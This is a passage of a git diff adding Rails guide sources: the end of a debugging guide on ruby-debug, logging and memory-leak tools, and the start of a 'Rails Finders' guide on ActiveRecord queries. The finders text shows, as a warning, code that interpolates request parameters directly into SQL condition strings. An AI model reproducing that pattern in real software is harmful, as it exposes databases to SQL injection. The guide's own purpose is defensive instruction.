14:52:54', 'Debugging Rails', + 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54') +The post was saved and now is the user is going to be redirected... +Redirected to # +Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts] +---------------------------------------------------------------------------- + +Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia. + +== Debugging with ruby-debug + +When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion. + +The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code. + +=== Setup + +The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run: + +[source, shell] +---------------------------------------------------------------------------- +$ sudo gem install ruby-debug +---------------------------------------------------------------------------- + +In case you want to download a particular version or get the source code, refer to the link:http://rubyforge.org/projects/ruby-debug/[project's page on rubyforge]. + +Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method. + +Here's an example: + +[source, ruby] +---------------------------------------------------------------------------- +class PeopleController < ApplicationController + def new + debugger + @person = Person.new + end +end +---------------------------------------------------------------------------- + +If you see the message in the console or logs: + +---------------------------------------------------------------------------- +***** Debugger requested, but was not available: Start server with --debugger to enable ***** +---------------------------------------------------------------------------- + +Make sure you have started your web server with the option +--debugger+: + +[source, shell] +---------------------------------------------------------------------------- +~/PathTo/rails_project$ script/server --debugger +=> Booting Mongrel (use 'script/server webrick' to force WEBrick) +=> Rails 2.2.0 application starting on http://0.0.0.0:3000 +=> Debugger enabled +... +---------------------------------------------------------------------------- + +[TIP] +In development mode, you can dynamically `require \'ruby-debug\'` instead of restarting the server, if it was started without `--debugger`. + +In order to use Rails debugging you'll need to be running either *WEBrick* or *Mongrel*. For the moment, no alternative servers are supported. + +=== The Shell + +As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run. + +If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request. + +For example: + +---------------------------------------------------------------------------- +@posts = Post.find(:all) +(rdb:7) +---------------------------------------------------------------------------- + +Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?) + +---------------------------------------------------------------------------- +(rdb:7) help +ruby-debug help v0.10.2 +Type 'help ' for help on a specific command + +Available commands: +backtrace delete enable help next quit show trace +break disable eval info p reload source undisplay +catch display exit irb pp restart step up +condition down finish list ps save thread var +continue edit frame method putl set tmate where +---------------------------------------------------------------------------- + +[TIP] +To view the help menu for any command use `help ` in active debug mode. For example: _+help var+_ + +The next command to learn is one of the most useful: `list`. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command. + +This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+. + +---------------------------------------------------------------------------- +(rdb:7) list +[1, 10] in /PathToProject/posts_controller.rb + 1 class PostsController < ApplicationController + 2 # GET /posts + 3 # GET /posts.xml + 4 def index + 5 debugger +=> 6 @posts = Post.find(:all) + 7 + 8 respond_to do |format| + 9 format.html # index.html.erb + 10 format.xml { render :xml => @posts } +---------------------------------------------------------------------------- + +If you repeat the +list+ command, this time using just `l`, the next ten lines of the file will be printed out. + +---------------------------------------------------------------------------- +(rdb:7) l +[11, 20] in /PathTo/project/app/controllers/posts_controller.rb + 11 end + 12 end + 13 + 14 # GET /posts/1 + 15 # GET /posts/1.xml + 16 def show + 17 @post = Post.find(params[:id]) + 18 + 19 respond_to do |format| + 20 format.html # show.html.erb +---------------------------------------------------------------------------- + +And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer. + +=== The Context + +When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack. + +ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped. + +At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer. + +---------------------------------------------------------------------------- +(rdb:5) where + #0 PostsController.index + at line /PathTo/project/app/controllers/posts_controller.rb:6 + #1 Kernel.send + at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 + #2 ActionController::Base.perform_action_without_filters + at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 + #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...) + at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617 +... +---------------------------------------------------------------------------- + +You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number. + +---------------------------------------------------------------------------- +(rdb:5) frame 2 +#2 ActionController::Base.perform_action_without_filters + at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 +---------------------------------------------------------------------------- + +The available variables are the same as if you were running the code line by line. After all, that's what debugging is. + +Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames. + +=== Threads + +The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options: + +* `thread` shows the current thread. +* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution. +* `thread stop _n_` stop thread _n_. +* `thread resume _n_` resumes thread _n_. +* `thread switch _n_` switches the current thread context to _n_. + +This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code. + +=== Inspecting Variables + +Any expression can be evaluated in the current context. To evaluate an expression, just type it! + +This example shows how you can print the instance_variables defined within the current context: + +---------------------------------------------------------------------------- +@posts = Post.find(:all) +(rdb:11) instance_variables +["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"] +---------------------------------------------------------------------------- + +As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide). + +---------------------------------------------------------------------------- +(rdb:11) next +Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET] + Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e + Parameters: {"action"=>"index", "controller"=>"posts"} +/PathToProject/posts_controller.rb:8 +respond_to do |format| +------------------------------------------------------------------------------- + +And then ask again for the instance_variables: + +---------------------------------------------------------------------------- +(rdb:11) instance_variables.include? "@posts" +true +---------------------------------------------------------------------------- + +Now +@posts+ is a included in the instance variables, because the line defining it was executed. + +[TIP] +You can also step into *irb* mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature. + +The `var` method is the most convenient way to show variables and their values: + +---------------------------------------------------------------------------- +var +(rdb:1) v[ar] const show constants of object +(rdb:1) v[ar] g[lobal] show global variables +(rdb:1) v[ar] i[nstance] show instance variables of object +(rdb:1) v[ar] l[ocal] show local variables +---------------------------------------------------------------------------- + +This is a great way to inspect the values of the current context variables. For example: + +---------------------------------------------------------------------------- +(rdb:9) var local + __dbg_verbose_save => false +---------------------------------------------------------------------------- + +You can also inspect for an object method this way: + +---------------------------------------------------------------------------- +(rdb:9) var instance Post.new +@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"... +@attributes_cache = {} +@new_record = true +---------------------------------------------------------------------------- + +[TIP] +The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console. + +You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on. + +---------------------------------------------------------------------------- +(rdb:1) display @recent_comments +1: @recent_comments = +---------------------------------------------------------------------------- + +The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example). + +=== Step by Step + +Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution. + +Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to ruby-debug. + +[TIP] +You can also use `step+ _n_` and `step- _n_` to move forward or backward _n_ steps respectively. + +You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps. + +The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods. + +For example, consider this block of code with an included +debugger+ statement: + +[source, ruby] +---------------------------------------------------------------------------- +class Author < ActiveRecord::Base + has_one :editorial + has_many :comments + + def find_recent_comments(limit = 10) + debugger + @recent_comments ||= comments.find( + :all, + :conditions => ["created_at > ?", 1.week.ago], + :limit => limit + ) + end +end +---------------------------------------------------------------------------- + +[TIP] +You can use ruby-debug while using script/console. Just remember to `require "ruby-debug"` before calling the `debugger` method. + +---------------------------------------------------------------------------- +/PathTo/project $ script/console +Loading development environment (Rails 2.1.0) +>> require "ruby-debug" +=> [] +>> author = Author.first +=> # +>> author.find_recent_comments +/PathTo/project/app/models/author.rb:11 +) +---------------------------------------------------------------------------- + +With the code stopped, take a look around: + +---------------------------------------------------------------------------- +(rdb:1) list +[6, 15] in /PathTo/project/app/models/author.rb + 6 debugger + 7 @recent_comments ||= comments.find( + 8 :all, + 9 :conditions => ["created_at > ?", 1.week.ago], + 10 :limit => limit +=> 11 ) + 12 end + 13 end +---------------------------------------------------------------------------- + +You are at the end of the line, but... was this line executed? You can inspect the instance variables. + +---------------------------------------------------------------------------- +(rdb:1) var instance +@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las... +@attributes_cache = {} +---------------------------------------------------------------------------- + ++@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code: + +---------------------------------------------------------------------------- +(rdb:1) next +/PathTo/project/app/models/author.rb:12 +@recent_comments +(rdb:1) var instance +@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las... +@attributes_cache = {} +@comments = [] +@recent_comments = [] +---------------------------------------------------------------------------- + +Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed. + +If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails. + +=== Breakpoints + +A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line. + +You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually: + +* `break line`: set breakpoint in the _line_ in the current source file. +* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger. +* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line. + +---------------------------------------------------------------------------- +(rdb:5) break 10 +Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10 +---------------------------------------------------------------------------- + +Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints. + +---------------------------------------------------------------------------- +(rdb:5) info breakpoints +Num Enb What + 1 y at filters.rb:10 +---------------------------------------------------------------------------- + +To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active.. + +---------------------------------------------------------------------------- +(rdb:5) delete 1 +(rdb:5) info breakpoints +No breakpoints. +---------------------------------------------------------------------------- + +You can also enable or disable breakpoints: + +* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint. +* `disable breakpoints`: the _breakpoints_ will have no effect on your program. + +=== Catching Exceptions + +The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it. + +To list all active catchpoints use `catch`. + +=== Resuming Execution + +There are two ways to resume execution of an application that is stopped in the debugger: + +* `continue` [line-specification] (or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached. +* `finish` [frame-number] (or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns. + +=== Editing + +Two commands allow you to open code from the debugger into an editor: + +* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given. +* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified. + +=== Quitting + +To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`. + +A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again. + +=== Settings + +There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options: + +* `set reload`: Reload source code when changed. +* `set autolist`: Execute `list` command on every breakpoint. +* `set listsize _n_`: Set number of source lines to list by default to _n_. +* `set forcestep`: Make sure the `next` and `step` commands always move to a new line + +You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular +set+ command. + +[TIP] +You can include any number of these configuration lines inside a `.rdebugrc` file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly. + +Here's a good start for an `.rdebugrc`: + +---------------------------------------------------------------------------- +set autolist +set forcestep +set listsize 25 +---------------------------------------------------------------------------- + +== Debugging Memory Leaks + +A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level. + +In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools. + +=== BleakHouse + +link:http://github.com/fauna/bleak_house/tree/master[BleakHouse] is a library for finding memory leaks. + +If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap. + +To install it run: + +---------------------------------------------------------------------------- +sudo gem install bleak_house +---------------------------------------------------------------------------- + +Then setup you application for profiling. Then add the following at the bottom of config/environment.rb: + +[source, ruby] +---------------------------------------------------------------------------- +require 'bleak_house' if ENV['BLEAK_HOUSE'] +---------------------------------------------------------------------------- + +Start a server instance with BleakHouse integration: + +---------------------------------------------------------------------------- +RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server +---------------------------------------------------------------------------- + +Make sure to run a couple hundred requests to get better data samples, then press `CTRL-C`. The server will stop and Bleak House will produce a dumpfile in `/tmp`: + +---------------------------------------------------------------------------- +** BleakHouse: working... +** BleakHouse: complete +** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze. +---------------------------------------------------------------------------- + +To analyze it, just run the listed command. The top 20 leakiest lines will be listed: + +---------------------------------------------------------------------------- + 191691 total objects + Final heap size 191691 filled, 220961 free + Displaying top 20 most common line/class pairs + 89513 __null__:__null__:__node__ + 41438 __null__:__null__:String + 2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array + 1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String + 1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String + 951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String + 935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String + 834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array + ... +---------------------------------------------------------------------------- + +This way you can find where your application is leaking memory and fix it. + +If link:http://github.com/fauna/bleak_house/tree/master[BleakHouse] doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further. + +=== Valgrind + +link:http://valgrind.org/[Valgrind] is a Linux-only application for detecting C-based memory leaks and race conditions. + +There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates. + +For further information on how to install Valgrind and use with Ruby, refer to link:http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/[Valgrind and Ruby] by Evan Weaver. + +== Plugins for Debugging + +There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging: + +* link:http://github.com/drnic/rails-footnotes/tree/master[Footnotes]: Every Rails page has footnotes that give request information and link back to your source via TextMate. +* link:http://github.com/ntalbott/query_trace/tree/master[Query Trace]: Adds query origin tracing to your logs. +* link:http://github.com/dan-manges/query_stats/tree/master[Query Stats]: A Rails plugin to track database queries. +* link:http://code.google.com/p/query-reviewer/[Query Reviewer]: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. +* link:http://github.com/rails/exception_notification/tree/master[Exception Notifier]: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. +* link:http://github.com/defunkt/exception_logger/tree/master[Exception Logger]: Logs your Rails exceptions in the database and provides a funky web interface to manage them. + +== References + +* link:http://www.datanoise.com/ruby-debug[ruby-debug Homepage] +* link:http://www.sitepoint.com/article/debug-rails-app-ruby-debug/[Article: Debugging a Rails application with ruby-debug] +* link:http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/[ruby-debug Basics screencast] +* link:http://railscasts.com/episodes/54-debugging-with-ruby-debug[Ryan Bate's ruby-debug screencast] +* link:http://railscasts.com/episodes/24-the-stack-trace[Ryan Bate's stack trace screencast] +* link:http://railscasts.com/episodes/56-the-logger[Ryan Bate's logger screencast] +* link:http://bashdb.sourceforge.net/ruby-debug.html[Debugging with ruby-debug] +* link:http://cheat.errtheblog.com/s/rdebug/[ruby-debug cheat sheet] +* link:http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging[Ruby on Rails Wiki: How to Configure Logging] +* link:http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html[Bleak House Documentation] + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5[Lighthouse ticket] + +* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by link:../authors.html#miloops[Emilio Tagua] +* October 19, 2008: Copy editing pass by link:../authors.html#mgunderloy[Mike Gunderloy] +* September 16, 2008: initial version by link:../authors.html#miloops[Emilio Tagua] diff --git a/vendor/rails/railties/doc/guides/source/finders.txt b/vendor/rails/railties/doc/guides/source/finders.txt new file mode 100644 index 00000000..e5d94cff --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/finders.txt @@ -0,0 +1,668 @@ +Rails Finders +============= + +This guide covers the +find+ method defined in +ActiveRecord::Base+, as well as other ways of finding particular instances of your models. By using this guide, you will be able to: + +* Find records using a variety of methods and conditions +* Specify the order, retrieved attributes, grouping, and other properties of the found records +* Use eager loading to cut down on the number of database queries in your application +* Use dynamic finders +* Create named scopes to add custom finding behavior to your models +* Check for the existence of particular records +* Perform aggregate calculations on Active Record models + +If you're used to using raw SQL to find database records, you'll find that there are generally better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. + +== The Sample Models + +This guide demonstrates finding using the following models: + +[source,ruby] +------------------------------------------------------- +class Client < ActiveRecord::Base + has_one :address + has_one :mailing_address + has_many :orders + has_and_belongs_to_many :roles +end + +class Address < ActiveRecord::Base + belongs_to :client +end + +class MailingAddress < Address +end + +class Order < ActiveRecord::Base + belongs_to :client, :counter_cache => true +end + +class Role < ActiveRecord::Base + has_and_belongs_to_many :clients +end +------------------------------------------------------- + +== Database Agnostic + +Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same. + +== IDs, First, Last and All + ++ActiveRecord::Base+ has methods defined on it to make interacting with your database and the tables within it much, much easier. For finding records, the key method is +find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type +Client.find(1)+ which would execute this query on your database: + +[source, sql] +------------------------------------------------------- +SELECT * FROM +clients+ WHERE (+clients+.+id+ = 1) +------------------------------------------------------- + +NOTE: Because this is a standard table created from a migration in Rail, the primary key is defaulted to 'id'. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column. + +If you wanted to find clients with id 1 or 2, you call +Client.find([1,2])+ or +Client.find(1,2)+ and then this will be executed as: + +[source, sql] +------------------------------------------------------- +SELECT * FROM +clients+ WHERE (+clients+.+id+ IN (1,2)) +------------------------------------------------------- + +------------------------------------------------------- +>> Client.find(1,2) +=> [# "Ryan", locked: false, orders_count: 2, + created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, + # "Michael", locked: false, orders_count: 3, + created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">] +------------------------------------------------------- + +Note that if you pass in a list of numbers that the result will be returned as an array, not as a single +Client+ object. + +NOTE: If +find(id)+ or +find([id1, id2])+ fails to find any records, it will raise a +RecordNotFound+ exception. + +If you wanted to find the first client you would simply type +Client.first+ and that would find the first client created in your clients table: + +------------------------------------------------------- +>> Client.first +=> # "Ryan", locked: false, orders_count: 2, + created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50"> +------------------------------------------------------- + +If you were running script/server you might see the following output: + +[source,sql] +------------------------------------------------------- +SELECT * FROM clients LIMIT 1 +------------------------------------------------------- + +Indicating the query that Rails has performed on your database. + +To find the last client you would simply type +Client.find(:last)+ and that would find the last client created in your clients table: + +------------------------------------------------------- +>> Client.find(:last) +=> # "Michael", locked: false, orders_count: 3, + created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40"> +------------------------------------------------------- + +[source,sql] +------------------------------------------------------- +SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 +------------------------------------------------------- + +To find all the clients you would simply type +Client.all+ and that would find all the clients in your clients table: + +------------------------------------------------------- +>> Client.all +=> [# "Ryan", locked: false, orders_count: 2, + created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, + # "Michael", locked: false, orders_count: 3, + created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">] +------------------------------------------------------- + +As alternatives to calling +Client.first+, +Client.last+, and +Client.all+, you can use the class methods +Client.first+, +Client.last+, and +Client.all+ instead. +Client.first+, +Client.last+ and +Client.all+ just call their longer counterparts: +Client.find(:first)+, +Client.find(:last)+ and +Client.find(:all)+ respectively. + +Be aware that +Client.first+/+Client.find(:first)+ and +Client.last+/+Client.find(:last)+ will both return a single object, where as +Client.all+/+Client.find(:all)+ will return an array of Client objects, just as passing in an array of ids to find will do also. + +== Conditions + +The +find+ method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash. + +=== Pure String Conditions === + +If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2. + +WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array. + +=== Array Conditions === + +Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like +Client.first(:conditions => ["orders_count = ?", params[:orders]])+. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like +Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])+. In this example, the first question mark will be replaced with the value in params orders and the second will be replaced with true and this will find the first record in the table that has '2' as its value for the orders_count field and 'false' for its locked field. + +The reason for doing code like: + +[source, ruby] +------------------------------------------------------- ++Client.first(:conditions => ["orders_count = ?", params[:orders]])+ +------------------------------------------------------- + +instead of: + +------------------------------------------------------- ++Client.first(:conditions => "orders_count = #{params[:orders]}")+ +------------------------------------------------------- + +is because of parameter safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string. + +TIP: For more information on the dangers of SQL injection, see the link:../security.html#_sql_injection[Ruby on Rails Security Guide]. + +If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range: + +[source, ruby] +------------------------------------------------------- +Client.all(:conditions => ["created_at IN (?)", + (params[:start_date].to_date)..(params[:end_date].to_date)]) +------------------------------------------------------- + +This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against. + +[source, sql] +------------------------------------------------------- +SELECT * FROM +users+ WHERE (created_at IN + ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05', + '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11', + '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17', + '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',... + ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20', + '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26', + '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31')) +------------------------------------------------------- + +Things can get *really* messy if you pass in time objects as it will attempt to compare your field to *every second* in that range: + +[source, ruby] +------------------------------------------------------- +Client.all(:conditions => ["created_at IN (?)", + (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)]) +------------------------------------------------------- + +[source, sql] +------------------------------------------------------- +SELECT * FROM +users+ WHERE (created_at IN + ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ... + '2007-12-01 23:59:59', '2007-12-02 00:00:00')) +------------------------------------------------------- + +This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error: + +------------------------------------------------------- +Got a packet bigger than 'max_allowed_packet' bytes: _query_ +------------------------------------------------------- + +Where _query_ is the actual query used to get that error. + +In this example it would be better to use greater-than and less-than operators in SQL, like so: + +[source, ruby] +------------------------------------------------------- +Client.all(:conditions => + ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]]) +------------------------------------------------------- + +You can also use the greater-than-or-equal-to and less-than-or-equal-to like this: + +[source, ruby] +------------------------------------------------------- +Client.all(:conditions => + ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]]) +------------------------------------------------------- + +Just like in Ruby. + +=== Hash Conditions === + +Similar to the array style of params you can also specify keys in your conditions: + +[source, ruby] +------------------------------------------------------- +Client.all(:conditions => + ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }]) +------------------------------------------------------- + +This makes for clearer readability if you have a large number of variable conditions. + +== Ordering + +If you're getting a set of records and want to force an order, you can use +Client.all(:order => "created_at")+ which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using +Client.all(:order => "created_at desc")+ + +== Selecting Certain Fields + +To select certain fields, you can use the select option like this: +Client.first(:select => "viewable_by, locked")+. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute +SELECT viewable_by, locked FROM clients LIMIT 0,1+ on your database. + +== Limit & Offset + +If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example: + +[source, ruby] +------------------------------------------------------- +Client.all(:limit => 5) +------------------------------------------------------- + +This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this: + +[source,sql] +------------------------------------------------------- +SELECT * FROM clients LIMIT 5 +------------------------------------------------------- + +[source, ruby] +------------------------------------------------------- +Client.all(:limit => 5, :offset => 5) +------------------------------------------------------- + +This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like: + +[source,sql] +------------------------------------------------------- +SELECT * FROM clients LIMIT 5, 5 +------------------------------------------------------- + +== Group + +The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context: + +[source, ruby] +------------------------------------------------------- +Order.all(:group => "date(created_at)", :order => "created_at") +------------------------------------------------------- + +And this will give you a single +Order+ object for each date where there are orders in the database. + +The SQL that would be executed would be something like this: + +[source, sql] +------------------------------------------------------- +SELECT * FROM +orders+ GROUP BY date(created_at) +------------------------------------------------------- + +== Read Only + +Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an +Active Record::ReadOnlyRecord+ exception. To set this option, specify it like this: + +[source, ruby] +------------------------------------------------------- +Client.first(:readonly => true) +------------------------------------------------------- + +If you assign this record to a variable +client+, calling the following code will raise an +ActiveRecord::ReadOnlyRecord+ exception: + +[source, ruby] +------------------------------------------------------- +client = Client.first(:readonly => true) +client.locked = false +client.save +------------------------------------------------------- + +== Lock + +If you're wanting to stop race conditions for a specific record (for example, you're incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction. + +[source, ruby] +------------------------------------------------------- +Topic.transaction do 